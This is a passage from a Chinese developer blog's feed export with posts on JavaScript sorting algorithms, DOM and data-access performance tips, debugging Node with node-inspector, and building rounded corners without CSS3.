class="line"><span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">swap</span>(<span class="hljs-params">array,i,j</span>)</span>{</span><br><span class="line"> <span class="hljs-keyword">var</span> temp =array[i];</span><br><span class="line"> array[i]=array[j];</span><br><span class="line"> array[j]=temp;</span><br><span class="line">}<span class="hljs-comment">//两个数字交换 </span></span><br><span class="line"></span><br><span class="line"><span class="hljs-built_in">console</span>.log(selectionSort(arr)); <span class="hljs-comment">//0,1,2,3,4,5</span></span><br></pre></td></tr></table></figure></p><h2 id="快速排序"><a href="#快速排序" class="headerlink" title="快速排序"></a>快速排序</h2><p><strong>思想:</strong></p><ol><li>在数据集之中,选择一个元素作为”基准”(pivot)。</li><li>所有小于”基准”的元素,都移到”基准”的左边;所有大于”基准”的元素,都移到”基准”的右边。</li><li>对”基准”左边和右边的两个子集,不断重复第一步和第二步,直到所有子集只剩下一个元素为止。</li></ol><p>eg:<br>选6为基准</p><figure class="highlight javascript hljs"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br></pre></td><td class="code"><pre><span class="line">-------------------------------------------</span><br><span class="line"><span class="hljs-number">7</span> <span class="hljs-number">5</span> <span class="hljs-number">9</span> <span class="hljs-number">6</span> <span class="hljs-number">18</span> <span class="hljs-number">2</span> <span class="hljs-number">4</span> <span class="hljs-number">12</span></span><br><span class="line">-------------------------------------------</span><br><span class="line"><span class="hljs-comment">//将每个元素与基准比较,形成两部分,大于基准与小于基准</span></span><br><span class="line">-------------------------------------------</span><br><span class="line"><span class="hljs-number">5</span> <span class="hljs-number">2</span> <span class="hljs-number">4</span> | <span class="hljs-number">6</span> | <span class="hljs-number">7</span> <span class="hljs-number">9</span> <span class="hljs-number">18</span> <span class="hljs-number">12</span></span><br><span class="line">-------------------------------------------</span><br><span class="line"><span class="hljs-comment">//对两个子集不断重复第一步和第二步,直到所有子集只剩下一个元素为止。</span></span><br><span class="line">-------------------------------------------</span><br><span class="line">| <span class="hljs-number">2</span> | <span class="hljs-number">5</span> <span class="hljs-number">4</span> | <span class="hljs-number">6</span> | <span class="hljs-number">7</span> | <span class="hljs-number">9</span> | <span class="hljs-number">18</span> <span class="hljs-number">12</span></span><br><span class="line">-------------------------------------------</span><br><span class="line">-------------------------------------------</span><br><span class="line"><span class="hljs-number">2</span> <span class="hljs-number">4</span> <span class="hljs-number">5</span> <span class="hljs-number">6</span> <span class="hljs-number">7</span> <span class="hljs-number">9</span> <span class="hljs-number">12</span> <span class="hljs-number">18</span></span><br><span class="line">-------------------------------------------</span><br></pre></td></tr></table></figure><p><strong>时间复杂度</strong> :平均O(nlgn),最坏O(n2)<br><strong>code:</strong><br><figure class="highlight javascript hljs"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br></pre></td><td class="code"><pre><span class="line"><span class="hljs-keyword">var</span> quickSort = <span class="hljs-function"><span class="hljs-keyword">function</span>(<span class="hljs-params">arr</span>) </span>{</span><br><span class="line"> <span class="hljs-keyword">if</span> (arr.length <= <span class="hljs-number">1</span>) { <span class="hljs-keyword">return</span> arr; }</span><br><span class="line"> <span class="hljs-keyword">var</span> pivotIndex = <span class="hljs-built_in">Math</span>.floor(arr.length / <span class="hljs-number">2</span>);</span><br><span class="line"> <span class="hljs-keyword">var</span> pivot = arr.splice(pivotIndex, <span class="hljs-number">1</span>)[<span class="hljs-number">0</span>];</span><br><span class="line"> <span class="hljs-keyword">var</span> left = [];</span><br><span class="line"> <span class="hljs-keyword">var</span> right = [];</span><br><span class="line"> <span class="hljs-keyword">for</span> (<span class="hljs-keyword">var</span> i = <span class="hljs-number">0</span>; i < arr.length; i++){</span><br><span class="line"> <span class="hljs-keyword">if</span> (arr[i] < pivot) {</span><br><span class="line"> left.push(arr[i]);</span><br><span class="line"> } <span class="hljs-keyword">else</span> {</span><br><span class="line"> right.push(arr[i]);</span><br><span class="line"> }</span><br><span class="line"> }</span><br><span class="line"> <span class="hljs-keyword">return</span> quickSort(left).concat([pivot], quickSort(right));</span><br><span class="line">};</span><br><span class="line"><span class="hljs-built_in">console</span>.log(quickSort(arr));</span><br></pre></td></tr></table></figure></p><h2 id="归并排序"><a href="#归并排序" class="headerlink" title="归并排序"></a>归并排序</h2><p><strong>思想:</strong> 把一个数组分为两个数组,左边排好序,右边排好序,然后合并到一起排序</p><p> 归并排序是分治法的典型实例,指的是将两个已经排序的序列合并成一个序列的操作</p><p>**时间复杂度: O(nlogn)</p><p><strong>code:</strong><br><figure class="highlight javascript hljs"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br></pre></td><td class="code"><pre><span class="line"><span class="hljs-keyword">var</span> arr=[<span class="hljs-number">-11</span>,<span class="hljs-number">17</span>,<span class="hljs-number">12</span>,<span class="hljs-number">19</span>,<span class="hljs-number">0</span>,<span class="hljs-number">-222</span>];</span><br><span class="line"> <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">mergeSort</span>(<span class="hljs-params">arr,s,e</span>)</span>{</span><br><span class="line"> <span class="hljs-keyword">if</span>(s>e){ </span><br><span class="line"> <span class="hljs-comment">//起始位置大于终点位置,返回空数组</span></span><br><span class="line"> <span class="hljs-keyword">return</span> [];</span><br><span class="line"> }<span class="hljs-keyword">else</span> <span class="hljs-keyword">if</span>(s==e){</span><br><span class="line"> <span class="hljs-keyword">return</span> [arr[s]];</span><br><span class="line"> <span class="hljs-comment">//起始位置等于终点位置,说明数组里只有一个数字,返回只含一个数字的数组 </span></span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> <span class="hljs-keyword">var</span> mIndex = <span class="hljs-built_in">Math</span>.floor((s+e)/<span class="hljs-number">2</span>); <span class="hljs-comment">//中间位置的Index</span></span><br><span class="line"> <span class="hljs-keyword">var</span> arrL = mergeSort(arr,s,mIndex); <span class="hljs-comment">//将左边的数组排序</span></span><br><span class="line"> <span class="hljs-keyword">var</span> arrR = mergeSort(arr,mIndex+<span class="hljs-number">1</span>,e); <span class="hljs-comment">//将右边的数组排序</span></span><br><span class="line"> </span><br><span class="line"> <span class="hljs-keyword">var</span> resultArr = []; <span class="hljs-comment">//结果数组</span></span><br><span class="line"> <span class="hljs-keyword">while</span>(arrL.length><span class="hljs-number">0</span> || arrR.length><span class="hljs-number">0</span>){ <span class="hljs-comment">//当左右两个数组都不为空时</span></span><br><span class="line"> <span class="hljs-keyword">if</span>(arrL[<span class="hljs-number">0</span>]<arrR[<span class="hljs-number">0</span>]){</span><br><span class="line"> resultArr.push(arrL.shift());</span><br><span class="line"> }<span class="hljs-keyword">else</span>{</span><br><span class="line"> resultArr.push(arrR.shift());</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> <span class="hljs-keyword">if</span>(arrL.length==<span class="hljs-number">0</span>){ <span class="hljs-comment">//当左边的数组为空时</span></span><br><span class="line"> resultArr = resultArr.concat(arrR);</span><br><span class="line"> <span class="hljs-keyword">break</span>;</span><br><span class="line"> }<span class="hljs-keyword">else</span> <span class="hljs-keyword">if</span>(arrR.length==<span class="hljs-number">0</span>){</span><br><span class="line"> resultArr = resultArr.concat(arrL);</span><br><span class="line"> <span class="hljs-keyword">break</span>;</span><br><span class="line"> }</span><br><span class="line"> }</span><br><span class="line"> <span class="hljs-keyword">return</span> resultArr;</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> <span class="hljs-built_in">console</span>.log(mergeSort(arr,<span class="hljs-number">0</span>,arr.length<span class="hljs-number">-1</span>))</span><br></pre></td></tr></table></figure></p><h4 id="参考资料"><a href="#参考资料" class="headerlink" title="参考资料"></a>参考资料</h4><ol><li><a href="https://segmentfault.com/a/1190000005144961#articleHeader1" target="_blank" rel="noopener">js算法之最常用的排序</a> </li></ol>]]></content>
<summary type="html">
<p>最近关注前端性能一方面比较多,发现算法的性能改变也是其中一个很大的改善点,特别在数据量很大的情况下,在这里总结了几个前端经常都用得上的算法。<br></p>
</summary>
<category term="算法" scheme="https://github.com/Zyingying/tags/%E7%AE%97%E6%B3%95/"/>
</entry>
<entry>
<title>js性能——DOM编程</title>
<link href="https://github.com/Zyingying/2016/07/13/js%E6%80%A7%E8%83%BD%EF%BC%88%E4%B8%89%EF%BC%89%E2%80%94%E2%80%94DOM%E7%BC%96%E7%A8%8B/"/>
<id>https://github.com/Zyingying/2016/07/13/js性能(三)——DOM编程/</id>
<published>2016-07-12T16:15:22.000Z</published>
<updated>2016-07-16T03:11:08.480Z</updated>
<content type="html"><![CDATA[<p>hi~第三篇啦<br>这一篇简短的文章简单说明了在DOM编程过程可以优化的一些点<br><a id="more"></a><br>下面有一些概念需要大家一起认识一下;</p><h2 id="DOM遍历"><a href="#DOM遍历" class="headerlink" title="DOM遍历"></a>DOM遍历</h2><p>减少对DOM的遍历。</p><h3 id="选择器API"><a href="#选择器API" class="headerlink" title="选择器API"></a>选择器API</h3><p>querySelectorAll()的原生DOM方法比使用js与DOM遍历要快</p><h2 id="重绘重排"><a href="#重绘重排" class="headerlink" title="重绘重排"></a>重绘重排</h2><p>浏览器下载完页面的所有组件——html标记、js、css、图片——之后会解析并生成两个内部数据结构:</p><p><strong>DOM树</strong><br> 表示页面结构</p><p><strong>渲染树</strong><br> 表示DOM节点如何显示</p><p>当DOM的变化影响了元素的几何属性,浏览器就需要重新计算元素的几何属性,同样其他元素的几何属性也会因此受到影响。浏览器会使渲染树种受到影响的部分失效,并重新构建渲染树。<strong>这个过程称为“重排”</strong>。</p><p>完成重排后,浏览器会重新绘制受影响的部分到屏幕中,<strong>称为“重绘”</strong>。</p><p>但是!!<br>并不是所有的DOM变化都会影响到几何属性(宽和高之类),比如改变颜色。这个时候只会发生重绘,不会重排。</p><p>All in all,重绘重排是代价很昂贵的操作,所以尽可能减少发生。</p><p>所以,怎样会有重排的发生呢?</p><h4 id="重排发生情况"><a href="#重排发生情况" class="headerlink" title="重排发生情况"></a>重排发生情况</h4><ul><li>添加或删除可见的DOM元素</li><li>元素位置改变</li><li>元素尺寸改变</li><li>内容改变</li><li>页面渲染器初始化</li><li>浏览器窗口尺寸改变</li></ul><h4 id="渲染树变化的排队与刷新"><a href="#渲染树变化的排队与刷新" class="headerlink" title="渲染树变化的排队与刷新"></a>渲染树变化的排队与刷新</h4><p>大多数浏览器通过队列化修改并批量执行来优化重排过程。然而,或许我们会不知不觉的强制刷新队列并要求计划任务立刻执行。</p><p>获取布局信息的操作会导致队列刷新,eg:</p><ul><li>offsetTop,offsetLeft,offsetwidth,offsetHeight</li><li>scrollTop,scrollLeft,scrollwidth,scrollHeight</li><li>clientTop,clientLeft,clientwidth,clientHeight</li><li>getComputedStyle()</li></ul><p>以上属性和方法需要返回最新的布局信息,所以浏览器不得不执行渲染队列中的“待处理变化”并重返重排以返回正确的值。</p><h4 id="最小化重绘和重排"><a href="#最小化重绘和重排" class="headerlink" title="最小化重绘和重排"></a>最小化重绘和重排</h4><p>下面举个例子说明如何减少重绘重排<br><figure class="highlight javascript hljs"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line"><span class="hljs-keyword">var</span> e = <span class="hljs-built_in">document</span>.getElementById(<span class="hljs-string">'mydiv'</span>);</span><br><span class="line">e.style.borderLeft = <span class="hljs-string">'1px'</span>;</span><br><span class="line">e.style.padding = <span class="hljs-string">'5px'</span>;</span><br></pre></td></tr></table></figure></p><p>上面三个样式属性被改变,每次都会影响元素几何结构,最糟糕的情况下,会导致浏览器触发三次重排。现在大部分现代浏览器为此做了优化,只触发一次重排,但是在旧版浏览器中,或者有一个分离的异步处理过程时,效率还是很低,如果在上面代码执行时,有其他代码请求布局,将会导致三次重排。<br>可以改为如下<br><figure class="highlight javascript hljs"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">e.style.cssText += <span class="hljs-string">";border-left:1px;"</span></span><br></pre></td></tr></table></figure></p><h4 id="批量修改DOM"><a href="#批量修改DOM" class="headerlink" title="批量修改DOM"></a>批量修改DOM</h4><p>通过一些改善来减少重绘与重排的次数:</p><ul><li>使元素脱离文档流</li><li>对其应用多重改变</li><li>把元素带回文档中</li></ul><p>通过三种方法来使DOM脱离文档:</p><ul><li>隐藏元素,应用修改,重新显示</li><li>使用文档片段在当前DOM之外构建一个子树,再把它拷贝会文档</li><li>将原始元素拷贝到一个脱离文档的节点中,修改副本,完成后再替换原始元素</li></ul><h4 id="让元素脱离动画流"><a href="#让元素脱离动画流" class="headerlink" title="让元素脱离动画流"></a>让元素脱离动画流</h4><p>用展开/折叠的方式来显示和隐藏部分页面是一种常见的交互模式。它通常包括产开区域的几何 动画,并将页面其他部分推向下方。</p><p>如果程序需要重新计算的节点越多,重排产生的卡顿感也会越明显。</p><p>那么应该如何解决呢?下面的步骤可以解决问题</p><ol><li>使用绝对定位页面上面的动画,脱离文档流</li><li>让元素动起来,当他扩大时,会覆盖部分页面。但这只是页面的一个小区域的重绘过程,不会产生重排并重绘页面的大部分内容</li><li>动画结束的时候,恢复定位,从而只会计算一次。</li></ol><h4 id="IE与:hover"><a href="#IE与:hover" class="headerlink" title="IE与:hover"></a>IE与:hover</h4><p>从IE7开始,IE允许在任何元素(严格模式下)使用:hover这个CSS伪选择器。然而,如果你有大量元素使用了:hover,那么会降低响应速度,IE8更明显</p><h3 id="事件委托"><a href="#事件委托" class="headerlink" title="事件委托"></a>事件委托</h3><p>事件委托,通俗来说,就是解决页面中大量元素都需要绑定事件处理器从而影响的性能的办法。<br>它基于:事件逐层冒泡并能被父级元素捕获。</p><p>只需要给外层元素绑定一个处理器,就可以处理在其子元素上出发的事件</p><h2 id="参考资料"><a href="#参考资料" class="headerlink" title="参考资料"></a>参考资料</h2><ol><li>高性能javascript</li></ol>]]></content>
<summary type="html">
<p>hi~第三篇啦<br>这一篇简短的文章简单说明了在DOM编程过程可以优化的一些点<br></p>
</summary>
<category term="性能优化" scheme="https://github.com/Zyingying/tags/%E6%80%A7%E8%83%BD%E4%BC%98%E5%8C%96/"/>
</entry>
<entry>
<title>js性能——数据存储</title>
<link href="https://github.com/Zyingying/2016/07/01/js%E6%80%A7%E8%83%BD%EF%BC%88%E4%BA%8C%EF%BC%89%E2%80%94%E2%80%94%E6%95%B0%E6%8D%AE%E5%AD%98%E5%82%A8/"/>
<id>https://github.com/Zyingying/2016/07/01/js性能(二)——数据存储/</id>
<published>2016-07-01T14:43:14.000Z</published>
<updated>2016-07-14T15:16:27.663Z</updated>
<content type="html"><![CDATA[<p>这篇文章是基于对js的作用域链、原型有所了解的朋友们一起交流学习的。<br><a id="more"></a><br>那么我们先看看:</p><h3 id="js的四种基本数据存取"><a href="#js的四种基本数据存取" class="headerlink" title="js的四种基本数据存取"></a>js的四种基本数据存取</h3><ul><li>字面量:<br> 只代表自身,不存储在特定位置。js中字面量有:字符串、数字、布尔值、对象、数组、函数、正则表达式,以及特殊的null和undefined值。</li><li>本地变量:<br>开发人员使用关键字var定义的数据存储单元。</li><li>数组元素<br>存储在js数组对象内部,咦数据作为索引。</li><li>对象成员<br>存储在js对象内部,以字符串作为索引</li></ul><h3 id="作用域链和标识符解析"><a href="#作用域链和标识符解析" class="headerlink" title="作用域链和标识符解析"></a>作用域链和标识符解析</h3><p>每个js函数都表示为一个对象,更确切的说,是Function对象的一个实例,Function对象同其他对象一样,拥有可以编程访问的属性,和一系列不能通过代码访问而仅供JavaScript引擎存取的内部属性。</p><p>其中一个内部属性是[[Scope]],这个属性包含了一个函数被创建的作用域中对象的集合。这个集合被称为函数的作用域链,它决定哪些数据能被函数访问。函数作用域中的每个UI小被称为一个可变对象,每个可变对象都以“键值对”的形式存在。</p><p><em>作用域链详情查看红宝书(js高级程序设计)第六章</em></p><p><strong>如何影响性能?</strong></p><p>在函数执行过程中,每遇到一个变量,都会经历一次标识符解析过程,从而决定从哪里获取数据。然后就会开始去搜索执行环境的作用域链,查找同名的标识符。搜索过程从当前的作用域头开始,也就是当前运行函数的活动对象。</p><ul><li>如果找到了,就使用这个标识符对应的那个变量</li><li>如果没有找到,就继续搜索作用域链的下个对象,持续进行,直到找到</li><li>最后若无法搜索到,则会视为未定义改标识符</li></ul><p>重点来了!就是这个<code>搜索过程</code>影响了我们的性能。</p><h4 id="标识符解析的性能"><a href="#标识符解析的性能" class="headerlink" title="标识符解析的性能"></a>标识符解析的性能</h4><p>首先要认清一个事实,一个标识符所在的位置越深,它的读写速度也就越慢。so,局部变量的总是最快的,全局变量的读写通常是最慢的。(因为全局变量总是存在执行环境作用域链的最末端)</p><p><strong>举个例子</strong><br><figure class="highlight javascript hljs"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br></pre></td><td class="code"><pre><span class="line"><span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">initUI</span>(<span class="hljs-params"></span>)</span>{</span><br><span class="line"> <span class="hljs-keyword">var</span> bd = <span class="hljs-built_in">document</span>.body,</span><br><span class="line"> links = <span class="hljs-built_in">document</span>.getElememtsByTagName(<span class="hljs-string">'a'</span>),</span><br><span class="line"> i = <span class="hljs-number">0</span>,</span><br><span class="line"> len = links.length;</span><br><span class="line"> </span><br><span class="line"> <span class="hljs-keyword">while</span>(i < len){</span><br><span class="line"> update(link[i++]);</span><br><span class="line"> }</span><br><span class="line"> <span class="hljs-built_in">document</span>.getElementById(<span class="hljs-string">"go-btn"</span>).onclick = <span class="hljs-function"><span class="hljs-keyword">function</span>(<span class="hljs-params"></span>)</span>{</span><br><span class="line"> start();</span><br><span class="line"> };</span><br><span class="line"> bd.className = <span class="hljs-string">'active'</span>;</span><br><span class="line">}</span><br></pre></td></tr></table></figure></p><p>上面这个函数,引用了三次document,而document是全局对象,必须遍历整个作用域链才能在全局作用域链中找到。</p><p>那么该怎么优化呢<br><figure class="highlight javascript hljs"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br></pre></td><td class="code"><pre><span class="line"><span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">initUI</span>(<span class="hljs-params"></span>)</span>{</span><br><span class="line"> <span class="hljs-keyword">var</span> doc = <span class="hljs-built_in">document</span>,</span><br><span class="line"> bd = doc.body,</span><br><span class="line"> links = doc.getElememtsByTagName(<span class="hljs-string">'a'</span>),</span><br><span class="line"> i = <span class="hljs-number">0</span>,</span><br><span class="line"> len = links.length;</span><br><span class="line"> </span><br><span class="line"> <span class="hljs-keyword">while</span>(i < len){</span><br><span class="line"> update(link[i++]);</span><br><span class="line"> }</span><br><span class="line"> doc.getElementById(<span class="hljs-string">"go-btn"</span>).onclick = <span class="hljs-function"><span class="hljs-keyword">function</span>(<span class="hljs-params"></span>)</span>{</span><br><span class="line"> start();</span><br><span class="line"> };</span><br><span class="line"> bd.className = <span class="hljs-string">'active'</span>;</span><br><span class="line">}</span><br></pre></td></tr></table></figure></p><p>这样访问全局变量的次数瞬间减少到一次</p><h4 id="改变作用域链-动态作用域"><a href="#改变作用域链-动态作用域" class="headerlink" title="改变作用域链(动态作用域)"></a>改变作用域链(动态作用域)</h4><p>一般来说,一个执行环境的作用域链是不会被改变的,但是js有两个语句可以在实行时临时改变作用域链。</p><ul><li>with</li><li>try catch</li><li>eval</li></ul><p>这的用法需要谨慎,这次不展开详说(其实因为我也没有完全弄通/(ㄒoㄒ)/~~)</p><h4 id="闭包、作用域和内存"><a href="#闭包、作用域和内存" class="headerlink" title="闭包、作用域和内存"></a>闭包、作用域和内存</h4><p>闭包闭包,总是说闭包会使得内存泄漏,性能下降之类,可是你们知道是为什么吗?</p><p>首先,闭包是允许函数访问局部作用域之外的数据。<br>先看下个代码<br><figure class="highlight javascript hljs"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line"><span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">assignEvent</span>(<span class="hljs-params"></span>)</span>{</span><br><span class="line"> <span class="hljs-keyword">var</span> id = <span class="hljs-string">'zyy'</span></span><br><span class="line"> <span class="hljs-built_in">document</span>.getElementById(<span class="hljs-string">'save-btn'</span>).onclick = <span class="hljs-function"><span class="hljs-keyword">function</span>(<span class="hljs-params"></span>)</span>{</span><br><span class="line"> saveDocument(id);</span><br><span class="line"> } </span><br><span class="line">}</span><br></pre></td></tr></table></figure></p><p>assignEvent()函数给一个dom元素设置时间处理函数,这个时间处理函数就是一个闭包。在函数执行时创建,并且能访问所属作用域的id变量。为了让这个闭包访问id,必须创建一个特定的作用域链。</p><p>执行时,一个包含了变量id以及其他数据的活动对象呗创建,成为执行环境作用域链中的第一个对象,全局在后。</p><p>一般来说,函数的活动对象会随着执行环境一同销毁,但是引入闭包的同事,由于存在闭包,所以激活对象复发被销毁,意味着脚本中的闭包与非闭包相比,需要更多内存开销</p><h4 id="原型"><a href="#原型" class="headerlink" title="原型"></a>原型</h4><p>提到原型,则不能不提原型链,原型原型链是什么就不详细介绍了。</p><p>但是了解原型链的同学都知道,原型链的深度越深,访问的越深,访问时间就越久,当然,最久的就是找不到的属性,它会一直找到最深处~~</p><h4 id="嵌套成员"><a href="#嵌套成员" class="headerlink" title="嵌套成员"></a>嵌套成员</h4><p>和所有的原理一样,eg:<code>window.location.href</code> 每次遇到点操作符,嵌套成员会导js引擎搜索所有对象成员。而<br><code>location.href</code>比<code>window.location.href</code>快。如果不是实例属性,还需要花更多时间去搜索。</p><h4 id="缓存对象成员值"><a href="#缓存对象成员值" class="headerlink" title="缓存对象成员值"></a>缓存对象成员值</h4><p>eg:<br><figure class="highlight javascript hljs"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line"><span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">hasEitherClass</span>(<span class="hljs-params">element,className1,className2</span>)</span>{</span><br><span class="line"> <span class="hljs-keyword">return</span> element.className == className1 || element.className == className2;</span><br><span class="line">}</span><br></pre></td></tr></table></figure></p><p>上面的element.className被用了两次,我们可以用个变量保存<br><figure class="highlight javascript hljs"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line"><span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">hasEitherClass</span>(<span class="hljs-params">element,className1,className2</span>)</span>{</span><br><span class="line"> <span class="hljs-keyword">var</span> currentClass = element.className;</span><br><span class="line"> <span class="hljs-keyword">return</span> currentClass == className1 || currentClass == className2;</span><br><span class="line">}</span><br></pre></td></tr></table></figure></p><h2 id="小结"><a href="#小结" class="headerlink" title="小结"></a>小结</h2><ol><li>访问字面量和局部变量速度最快,访问数组元素和对象成员相对慢。</li><li>访问局部变量比夸作用域的快。变量在作用域链中越深,时间越长。全局访问速度最慢。</li><li>避免使用with 和try catch</li><li>嵌套对象成员会影响性能,尽量少用</li><li>属性或方法在原型链中的位置越深,访问速度就越慢</li><li>通过吧常用的对象成员、数组元素、跨域变量保存在局部变量中来改善javascript的性能。</li></ol><h2 id="参考资料"><a href="#参考资料" class="headerlink" title="参考资料"></a>参考资料</h2><ol><li>高性能javascript</li></ol>]]></content>
<summary type="html">
<p>这篇文章是基于对js的作用域链、原型有所了解的朋友们一起交流学习的。<br></p>
</summary>
<category term="性能优化" scheme="https://github.com/Zyingying/tags/%E6%80%A7%E8%83%BD%E4%BC%98%E5%8C%96/"/>
</entry>
<entry>
<title>Node最佳调试方法</title>
<link href="https://github.com/Zyingying/2016/06/05/Node%E6%9C%80%E4%BD%B3%E8%B0%83%E8%AF%95%E6%96%B9%E6%B3%95/"/>
<id>https://github.com/Zyingying/2016/06/05/Node最佳调试方法/</id>
<published>2016-06-05T15:24:36.000Z</published>
<updated>2016-07-07T15:32:56.575Z</updated>
<content type="html"><![CDATA[<p>最近有在学习node,总是有个东西困扰我,比如,我们在客户端看不到相应的js代码,所以这个时候我们要怎么调试呢?</p><p>所以今天想简单介绍一下一个node的调试方法:<strong>node-inspector</strong></p><a id="more"></a><p>下面是我安装这个的步骤:</p><ol><li>首先,不用说肯定是要先装上node,node现在已经内置了npm,有了这两个才能在命令行输入</li><li><p>在命令行输入<br><code>npm install -g node-inspector</code> <strong>记住加上<code>-g</code>,采用全局方式</strong></p></li><li><p>成功的标志是<br><img src="http://7xpwlt.com1.z0.glb.clouddn.com/install_success.jpg" alt="成功时"></p></li><li><p>进入到你要调试的程序文件里,比如我的spider.js,则执行node –debug spider.js</p></li><li><p>接着你再打开一个cmd,输入<code>node-inspector</code><br>它就会有一句</p><figure class="highlight plain hljs"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">Visit http://127.0.0.1:8080/?port=5858 to start debugging.</span><br></pre></td></tr></table></figure></li></ol><ol start="6"><li><p>输入 <code>node-inspector &</code><br>变成这样<br><img src="http://7xpwlt.com1.z0.glb.clouddn.com/add_it.png" alt="添加"></p></li><li><p>再在刚刚的另一个cmd里面输入 <code>node --debug xxx.js</code>xxx是你要调试的那个文件名</p></li><li>最后输入地址栏地址 <code>http://127.0.0.1:8080/?port=5858</code><br>显示:<img src="http://7xpwlt.com1.z0.glb.clouddn.com/success.png" alt="完成"></li></ol><p>一个和谷歌一模一样的调试界面就出来了,接下来的事情前端er估计也就懂如何做了吧~</p>]]></content>
<summary type="html">
<p>最近有在学习node,总是有个东西困扰我,比如,我们在客户端看不到相应的js代码,所以这个时候我们要怎么调试呢?</p>
<p>所以今天想简单介绍一下一个node的调试方法:<strong>node-inspector</strong></p>
</summary>
<category term="node" scheme="https://github.com/Zyingying/tags/node/"/>
<category term="js" scheme="https://github.com/Zyingying/tags/js/"/>
</entry>
<entry>
<title>圆角矩形的实现(非css3)</title>
<link href="https://github.com/Zyingying/2016/05/13/%E5%9C%86%E8%A7%92%E7%9F%A9%E5%BD%A2%E7%9A%84%E5%AE%9E%E7%8E%B0%EF%BC%88%E9%9D%9Ecss3%EF%BC%89/"/>
<id>https://github.com/Zyingying/2016/05/13/圆角矩形的实现(非css3)/</id>
<published>2016-05-13T15:41:39.000Z</published>
<updated>2016-05-27T04:34:47.702Z</updated>
<content type="html"><![CDATA[<p>额…..我知道现在谈这个东西好像的确是挺旧的,而且现在css3也出了<code>border-radius</code>,圆角简直不能再6。<br><a id="more"></a><br>之前面试被问过好几次,这个问题总是打得不是很完美,那个时候才开始重视这个东西。</p><p>其实对于一些对兼容要求比较高的页面,css3直接写这个方案还是不可行滴,比如ie8就不可行<br>赶紧甩出一条兼容情况<a href="http://caniuse.com/#search=border-radius" target="_blank" rel="noopener">链接</a></p><h3 id="代码解决"><a href="#代码解决" class="headerlink" title="代码解决"></a>代码解决</h3><p>废话不多说,先看jsfiddle的demo</p><iframe width="100%" height="300" src="//jsfiddle.net/fevj6bg2/1/embedded/html,css,result/" allowfullscreen="allowfullscreen" frameborder="0"></iframe><p>原理是这样的:</p><p>一个正常的div是一个长方形的形态,那么为了看上去有圆角,可以在长方形的上方和下方叠加一些 <strong>细长</strong>线条,但是其宽度比长方形的宽度稍微递减那么一些些~连续叠加3-4个,递减2px左右的宽度,同时加上左右边距,最后一个充当矩形的上方边框,所以需要和border用同一个背景色。<br>当然下方也一样。<br>下面这张图就是主体思路,大家可以看看</p><p><img src="http://7xpwlt.com1.z0.glb.clouddn.com/%E5%9C%86%E8%A7%92%E5%8E%9F%E7%90%86.jpg" alt=""></p><p>发现用这种方法还可以弄出很多丑萌丑萌的圆角矩形,给你们看几张图片<br><img 